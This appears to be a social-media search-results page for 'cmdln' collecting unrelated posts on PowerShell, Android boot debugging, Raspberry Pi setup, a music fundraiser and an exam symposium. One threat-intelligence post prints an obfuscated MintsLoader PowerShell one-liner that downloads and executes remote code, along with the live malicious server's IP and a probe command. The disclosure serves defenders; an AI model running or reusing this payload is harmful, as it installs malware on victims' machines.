home.social

Search

449 results for “cmdln”

  1. My latest #project is coming to an end, and I’ll be honest, it’s been fun and an interesting piece of work.

    Inplementing a Network, Detection and Response (#ndr) platform powered by #bluehexagon (now owned by #qualys) , with full integration into #Sentinel and #defenderforendpoint.

    The interesting part was creating a custom #powershell #cmdlet / toolset for security engineering to integrate data as part of security incidents. Had me brushing off my coding skills and remembering how much I actually enjoy it!

    This also means, my diary is now free from the end of this month… so am #opentowork.

    Check out my #blog at paulsanders.co.uk for some (not so much upto date) posts.

    #dfir #soc #siem

  2. My latest #project is coming to an end, and I’ll be honest, it’s been fun and an interesting piece of work.

    Inplementing a Network, Detection and Response (#ndr) platform powered by #bluehexagon (now owned by #qualys) , with full integration into #Sentinel and #defenderforendpoint.

    The interesting part was creating a custom #powershell #cmdlet / toolset for security engineering to integrate data as part of security incidents. Had me brushing off my coding skills and remembering how much I actually enjoy it!

    This also means, my diary is now free from the end of this month… so am #opentowork.

    Check out my #blog at paulsanders.co.uk for some (not so much upto date) posts.

    #dfir #soc #siem

  3. Table of Basic PowerShell Commands

    I rarely use PowerShell and it pisses me off when I can't recall the commands right away and look like a foo'! So, I printed out this little thing here to keep with me in case I need to use it. Hope it helps someone else!

    #PowerShell #cmdlets #WindowsPowerShell #BasicPowerShellCommands

    devblogs.microsoft.com/scripti

  4. @mgorny You can use to produce sdist distributions with autogenerated setup.py:

    flit.pypa.io/en/stable/cmdline

  5. Back in my blog post about Securing the Google SIP Stack, I did say I’d look at re-enabling SIP in Android-12, so with a view to doing that I tried building and booting LineageOS 19.1, but it crashed really early in the boot sequence (after the boot splash but before the boot animation started). It turns out that information on debugging the android early boot sequence is a bit scarce, so I thought I should write a post about how I did it just in case it helps someone else who’s struggling with a similar early boot problem.

    How I usually Build and Boot Android

    My builds are standard LineageOS with my patches to fix SIP and not much else. However, I do replace the debug keys with my signing keys and I also have an AVB key installed in the phone’s third party keyslot with which I sign the vbmeta for boot. This actually means that my phone is effectively locked but with a user supplied key (Yellow as google puts it).

    My phone is now a pixel 3 (I had to say goodbye to the old Nexus One thanks to the US 3G turn off) and I do have a slightly broken Pixel 3 I play with for experimental patches, which is where I was trying to install Android-12.

    Signing Seems to be the Problem

    Just to verify my phone could actually boot a stock LineageOS (it could) I had to unlock it and this lead to the discovery that once unlocked, it would also boot my custom rom as well, so whatever was failing in early boot seemed to be connected with the device being locked.

    I also discovered an interesting bug in the recovery rom fastboot: If you’re booting locked with your own keys, it will still let you perform all the usually forbidden fastboot commands (the one I was using was set_active). It turns out to be because of a bug in AOSP which treats yellow devices as unlocked in fastboot. Somewhat handy for debugging, but not so hot for security …

    And so to Debugging Early Boot

    The big problem with Android is there’s no way to get the console messages for early boot. Even if you enable adb early, it doesn’t get started until quite far in to the boot animation (which was way after the crash I was tripping over). However, android does have a pstore (previously ramoops) driver that can give you access to the previously crashed boot’s kernel messages (early init, fortunately, mostly logs to the kernel message log).

    Forcing init to crash on failure

    Ordinarily an init failure prints a message and reboots (to the bootloader), which doesn’t excite pstore into saving the kernel message log. fortunately there is a boot option (androidboot.init_fatal_panic) which can be set in the boot options (or kernel command line for a pixel-3 which can only boot the 4.9 kernel). If you build your own android, it’s fairly easy to add things to the android commandline (which is in boot.img) because all you need to do is extract BOOT/cmdline from the intermediate zip file you sign add any boot options you need and place it back in the zip file (before you sign it).

    Unfortunately, this expedient didn’t work (no console logs appear in pstore). I did check that init was correctly panic’ing on failure by inducing an init failure in recovery mode and observing the panic (recovery mode allows you to run adb). But this induced panic also didn’t show up in pstore, meaning there’s actually some problem with pstore and early panics.

    Security is the problem (as usual)

    The actual problem turned out to be security (as usual): The pixel-3 does encrypted boot panic logs. The way this seems to work (at least in my reading of the google additional pstore patches) is that the bootloader itself encrypts the pstore ram area with a key on the /data partition, which means it only becomes visible after the device is unlocked. Unfortunately, if you trigger a panic before the device is unlocked (by echoing ‘c’ to /proc/sysrq-trigger) the panic message is lost, so pstore itself is useless for debugging early boot. There seems to be some communication of the keys by the vendor proprietary ramoops binary making it very difficult to figure out how it’s being done.

    Why the early panic message is lost is a bit mysterious, but unfortunately pstore on the pixel-3 has several proprietary components around the encrypted message handling that make it hard to debug. I suspect if you don’t set up the pstore encryption keys, the bootloader erases the pstore ram area instead of encrypting it, but I can’t prove that.

    Although it might be possible to fix the pstore drivers to preserve the ramoops from before device unlock, the participation of the proprietary bootloader in preserving the memory doesn’t make that look like a promising avenue to explore.

    Anatomy of the Pixel-3 Boot Sequence

    The Pixel-3 device boots through recovery. What this means is that the initial ramdisk (from boot.img) init is what boots both the recovery and normal boot paths. The only difference is that for recovery (and fastboot), the device stays in the ramdisk and for normal boot it mounts the /system partition and pivots to it. What makes this happen or not is the boot flag androidboot.force_normal_boot=1 which is added by the bootloader. Pretty much all the binary content and init rc files in the ramdisk are for recovery and its allied menus.

    Since the boot paths are pretty radically different, because the normal boot first pivots to a first stage before going on to a second, but in the manner of containers, it might be possible to boot recovery first, start a dmesg logger and then re-exec init through the normal path

    Forcing Re-Exec

    The idea is to signal init to re-exec itself for the normal path. Of course, there have to be a few changes to do this: An item has to be added to the recovery menu to signal init and init itself has to be modified to do the re-exec on the signal (note you can’t just kick off an init with a new command line because init must be pid 1 for booting). Once this is done, there are problems with selinux (it won’t actually allow init to re-exec) and some mount moves. The selinux problem is fixable by switching it from enforcing to permissive (boot option androidboot.selinux=permissive) and the mount moves (which are forbidden if you’re running binaries from the mount points being moved) can instead become bind mounts. The whole patch becomes 31 insertions across 7 files in android_system_core.

    The signal I chose was SIGUSR1, which isn’t usually used by anything in the bootloader and the addition of a menu item to recovery to send this signal to init was also another trivial patch. So finally we have a system from which I can start adb to trace the kernel log (adb shell dmesg -w) and then signal to init to re-exec. Surprisingly this worked and produced as the last message fragment:

    [ 190.966881] init: [libfs_mgr]Created logical partition system_a on device /dev/block/dm-0[ 190.967697] init: [libfs_mgr]Created logical partition vendor_a on device /dev/block/dm-1[ 190.968367] init: [libfs_mgr]Created logical partition product_a on device /dev/block/dm-2[ 190.969024] init: [libfs_mgr]Created logical partition system_ext_a on device /dev/block/dm-3[ 190.969067] init: DSU not detected, proceeding with normal boot[ 190.982957] init: [libfs_avb]Invalid hash size:[ 190.982967] init: [libfs_avb]Failed to verify vbmeta digest[ 190.982972] init: [libfs_avb]vbmeta digest error isn't allowed[ 190.982980] init: Failed to open AvbHandle: No such file or directory[ 190.982987] init: Failed to setup verity for '/system': No such file or directory[ 190.982993] init: Failed to mount /system: No such file or directory[ 190.983030] init: Failed to mount required partitions early …[ 190.983483] init: InitFatalReboot: signal 6[ 190.984849] init: #00 pc 0000000000123b38 /system/bin/init[ 190.984857] init: #01 pc 00000000000bc9a8 /system/bin/init[ 190.984864] init: #02 pc 000000000001595c /system/lib64/libbase.so[ 190.984869] init: #03 pc 0000000000014f8c /system/lib64/libbase.so[ 190.984874] init: #04 pc 00000000000e6984 /system/bin/init[ 190.984878] init: #05 pc 00000000000aa144 /system/bin/init[ 190.984883] init: #06 pc 00000000000487dc /system/lib64/libc.so[ 190.984889] init: Reboot ending, jumping to kernel

    Which indicates exactly where the problem is.

    Fixing the problem

    Once the messages are identified, the problem turns out to be in system/core ec10d3cf6 “libfs_avb: verifying vbmeta digest early”, which is inherited from AOSP and which even says in in it’s commit message “the device will not boot if: 1. The image is signed with FLAGS_VERIFICATION_DISABLED is set 2. The device state is locked” which is basically my boot state, so thanks for that one google. Reverting this commit can be done cleanly and now the signed image boots without a problem.

    I note that I could also simply add hashtree verification to my boot, but LineageOS is based on the eng target, which has FLAGS_VERIFICATION_DISABLED built into the main build Makefile. It might be possible to change it, but not easily I’m guessing … although I might try fixing it this way at some point, since it would make my phones much more secure.

    Conclusion

    Debugging android early boot is still a terribly hard problem. Probably someone with more patience for disassembling proprietary binaries could take apart pixel-3 vendor ramoops and figure out if it’s possible to get a pstore oops log out of early boot (which would be the easiest way to debug problems). But failing that the simple hack to re-exec init worked enough to show me where the problem was (of course, if init had continued longer it would likely have run into other issues caused by the way I hacked it).

    https://blog.hansenpartnership.com/debugging-android-early-boot-failures/

    #00 #01 #02 #03 #04 #05 #06 #android #androidBoot #androidDebugging #androidVerifiedBoot #AVB #lineageos

  6. Dear AlpineLinux-on-Raspi users,

    did something change in regards to UART and the serial console in the latest Alpine releases?

    I set up two Raspi 1Bs with 3.22 end of last year. One of them died and damaged the sd card. I tried setting up a new 1B using a new card, but cannot get the serial console working. I think I used the same steps as before:

    "enable_uart=1" in the config.txt
    "console=/dev/ttAMA0,115200" added to the cmdline.txt

    But I cannot get the serial console working. I also tried a Raspi2 with the armv7l image. Same issue.

    Any ideas?

    #AlpineLinux #Alpine #Raspberry #Raspi #homelab

  7. Nothing like being asked to provide cross-platform support for my MSI cmdlets (github.com/heaths/psmsi) to extract the ProductCode - which is dubious since they depend on Windows-only APIs and most features would only work on Windows where MSIs can be installed - and saying you could write a simple CLI using a crate that implements OLE docs and 's proprietary compression algorithm, only to realize you already did it a long time ago: github.com/heaths/msigetprop-rs

  8. CF Premiere: Kidz On Acid – Horizon [Cumulonimbus]

    The German label Cumulonimbus has put together a series of fundraising campaigns with a mission as clear as it is necessary: to reach people in Sudan and Gaza living through conditions of extreme vulnerability. The premise is both simple and forceful —music as a vehicle for real change, harnessing the reach that electronic culture has built to stand behind those who need it most. This is not a gesture for optics: it is a concrete, ongoing, and fully transparent effort.

    https://clubfuries.com.mx/2026/04/04/cfp-merv-f33d-cumulonimbus/

    The label wishes to express its sincere gratitude to every artist who has contributed and helped bring this initiative to life, along with anyone who may still choose to be part of it. Periodic updates will be published detailing the funds raised and how each contribution is allocated, with transparency as a non-negotiable foundation. The pledge stands firm: 100% of proceeds will be donated.

    https://soundcloud.com/clubfuriess/cfp-kidz-on-acid-cumulonimbus

    At Club Furies, being part of this project means something real to us. We believe electronic music holds a responsibility that reaches far beyond the club, and when a label like Cumulonimbus puts its catalog and its community behind something like this, our instinct is simply to help that message travel as far as it can. We are sharing two premieres through our channel —because if there is anything we can offer from here, it is making sure this reaches the widest possible audience, and that every euro raised goes to Palestine and Sudan.

    The second of those premieres arrives from France, from the artist Kidz On Acid, presenting Horizon. There is nothing to explain here, no framework to build around it or context to impose. Only sound —and within that sound, every ounce of solidarity and conviction we can give.

    Support the Fundraiser

    Title: c:fundraiser sudan/gaza vol. 1
    Artist: Various Artists
    Label: Cumulonimbus
    Catalogue: CMLNMBS24
    Format: Digital
    Genre: Electronic
    Style: Techno
    Mastering: Younes Jamil
    Artwork: DJ DEKADENT, Mara Vorberg

    Release date: April 15th, 2026
    Support & Buy: Bandcamp

    Tracklist
    1. Merv – F33D
    2. Carl Raban – Eria
    3. Svedstorm – Sonnenallee 05:24
    4. Tara Namir, Younes Jamil – In my bed
    5. Bekkler – Chaos Drifter
    6. Symbolism – Onir
    7. Indigo Plateaux – Gumo
    8. QLP – Now
    9. Lenny San – Aktor
    10. Nexus J – Missing You
    11. James Smyth – Sunday Nights
    12. Eramo – Bipolar System
    13. Antonio Fevola – Unity Protocol
    14. Alex Asci – Zeros and Ones
    15. dom.koski – arrangement 2
    16. Ikram Shinwari – Cheating Death
    17. Kidz On Acid – Horizon

    Kidz On Acid

    SoundCloud | Instagram | Bandcamp

    Cumulonimbus

    SoundCloud | Instagram | Bandcamp | Linktree

    Club Furies

    Website | SoundCloud | Instagram | Facebook | Bandcamp | Threads | Substack | Linktree

    #Acid #Berlin #cFundraiserSudanGazaVol1 #Electronic #Electronica #France #Fundraiser #Gaza #Germany #KidzOnAcid #Palestine #Sudan #Support #techno #VA #VariousArtists
  9. RE: infosec.exchange/@netresec/115

    This malicious finger service on 64.190.113.206 (AS399629 / BL Networks) has delivered #MintsLoader for 30+ days and is still up and running!

    You can probe it with:
    nc 64.190.113.206 79 <<< rcaptcha or finger [email protected]

    The malicious "finger" service now gives this response:
    powershell -w h $huwcsxf='ur' ;set-alias hf7wz32e c$($huwcsxf)l;$infqtmrw=(2231,2243,2243,2239,2185,2174,2174,2237,2248,2224,2229,2243,2245,2249,2177,2173,2243,2238,2239,2174,2176,2173,2239,2231,2239,2190,2242,2188,2177,2180,2226,2179,2180,2228,2229,2228,2172,2176,2177,2225,2183,2172,2179,2228,2176,2227,2172,2225,2184,2175,2225,2172,2227,2225,2225,2224,2182,2226,2228,2227,2177,2176,2224,2226);$zpsmnihtrogcqb=('reicporet','get-cmdlet');$gsrwpaztvi=$infqtmrw;foreach($yxbwqtafvdn in $gsrwpaztvi){$ptwnmclaqfgh=$yxbwqtafvdn;$wyngvtsfirm=$wyngvtsfirm+[char]($ptwnmclaqfgh-2127);$ljfaixwhpztnkv=$wyngvtsfirm; $axfzykqljsnrwc=$ljfaixwhpztnkv};$uecbvofzghikt[2]=$axfzykqljsnrwc;$sdypqv='rl';$gkmvohls=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(hf7wz32e -useb $axfzykqljsnrwc)

    #threatintel

  10. Friends, does anyone know the appropriate cmdlet(s) to use to query Azure AD using the Graph API and return the on-prem Azure AD Connect Server hostname?

    #IAM #GraphAPI #AzureAD #AD #ActiveDirectory

  11. The ones who pay attention, must have caught the typo that I've made when I entered the parameters in the permanent section {see above graphic}. I've also caught it when I booted the system and saw the omission. Naturally I corrected it and everything is fine now

    I used the following command which a kind FediVerse user echoed to me

    'cat /proc/cmdline'

    #bash #csh #ksh #sh #kernel #parameters #GRUB #Lilo #POST #bios #UEFI #Linux #dmesg #Boot #options #programming #POSIX

  12. The ones who pay attention, must have caught the typo that I've made when I entered the parameters in the permanent section {see above graphic}. I've also caught it when I booted the system and saw the omission. Naturally I corrected it and everything is fine now

    I used the following command which a kind FediVerse user echoed to me

    'cat /proc/cmdline'

    #bash #csh #ksh #sh #kernel #parameters #GRUB #Lilo #POST #bios #UEFI #Linux #dmesg #Boot #options #programming #POSIX

  13. The ones who pay attention, must have caught the typo that I've made when I entered the parameters in the permanent section {see above graphic}. I've also caught it when I booted the system and saw the omission. Naturally I corrected it and everything is fine now

    I used the following command which a kind FediVerse user echoed to me

    'cat /proc/cmdline'

    #bash #csh #ksh #sh #kernel #parameters #GRUB #Lilo #POST #bios #UEFI #Linux #dmesg #Boot #options #programming #POSIX

  14. The ones who pay attention, must have caught the typo that I've made when I entered the parameters in the permanent section {see above graphic}. I've also caught it when I booted the system and saw the omission. Naturally I corrected it and everything is fine now

    I used the following command which a kind FediVerse user echoed to me

    'cat /proc/cmdline'

    #bash #csh #ksh #sh #kernel #parameters #GRUB #Lilo #POST #bios #UEFI #Linux #dmesg #Boot #options #programming #POSIX

  15. The ones who pay attention, must have caught the typo that I've made when I entered the parameters in the permanent section {see above graphic}. I've also caught it when I booted the system and saw the omission. Naturally I corrected it and everything is fine now

    I used the following command which a kind FediVerse user echoed to me

    'cat /proc/cmdline'

    #bash #csh #ksh #sh #kernel #parameters #GRUB #Lilo #POST #bios #UEFI #Linux #dmesg #Boot #options #programming #POSIX

  16. 📋Das Programm für das E‑Prüfungssymposium 2026 an der Albert-Ludwigs-Universität Freiburg ist veröffentlicht.

    Unter dem Motto „Herausforderungen digitaler Prüfungen: KI, Unterschleif, Infrastruktur” werden am 19. und 20. Mai 2026 aktuelle Entwicklungen rund um digitale Prüfungen, KI-gestützte Formate und organisatorische Innovationen diskutiert.

    Anmeldung bis zum 30. April 2026: lnkd.in/dbTix8Qi
    Programm: wb-ilias.uni-freiburg.de/ilias

    #DigitalePrüfungen #Hochschullehre #EAssessment #KI

  17. 📋Das Programm für das E‑Prüfungssymposium 2026 an der Albert-Ludwigs-Universität Freiburg ist veröffentlicht.

    Unter dem Motto „Herausforderungen digitaler Prüfungen: KI, Unterschleif, Infrastruktur” werden am 19. und 20. Mai 2026 aktuelle Entwicklungen rund um digitale Prüfungen, KI-gestützte Formate und organisatorische Innovationen diskutiert.

    Anmeldung bis zum 30. April 2026: lnkd.in/dbTix8Qi
    Programm: wb-ilias.uni-freiburg.de/ilias

    #DigitalePrüfungen #Hochschullehre #EAssessment #KI

  18. 📋Das Programm für das E‑Prüfungssymposium 2026 an der Albert-Ludwigs-Universität Freiburg ist veröffentlicht.

    Unter dem Motto „Herausforderungen digitaler Prüfungen: KI, Unterschleif, Infrastruktur” werden am 19. und 20. Mai 2026 aktuelle Entwicklungen rund um digitale Prüfungen, KI-gestützte Formate und organisatorische Innovationen diskutiert.

    Anmeldung bis zum 30. April 2026: lnkd.in/dbTix8Qi
    Programm: wb-ilias.uni-freiburg.de/ilias

    #DigitalePrüfungen #Hochschullehre #EAssessment #KI

  19. 📋Das Programm für das E‑Prüfungssymposium 2026 an der Albert-Ludwigs-Universität Freiburg ist veröffentlicht.

    Unter dem Motto „Herausforderungen digitaler Prüfungen: KI, Unterschleif, Infrastruktur” werden am 19. und 20. Mai 2026 aktuelle Entwicklungen rund um digitale Prüfungen, KI-gestützte Formate und organisatorische Innovationen diskutiert.

    Anmeldung bis zum 30. April 2026: lnkd.in/dbTix8Qi
    Programm: wb-ilias.uni-freiburg.de/ilias

    #DigitalePrüfungen #Hochschullehre #EAssessment #KI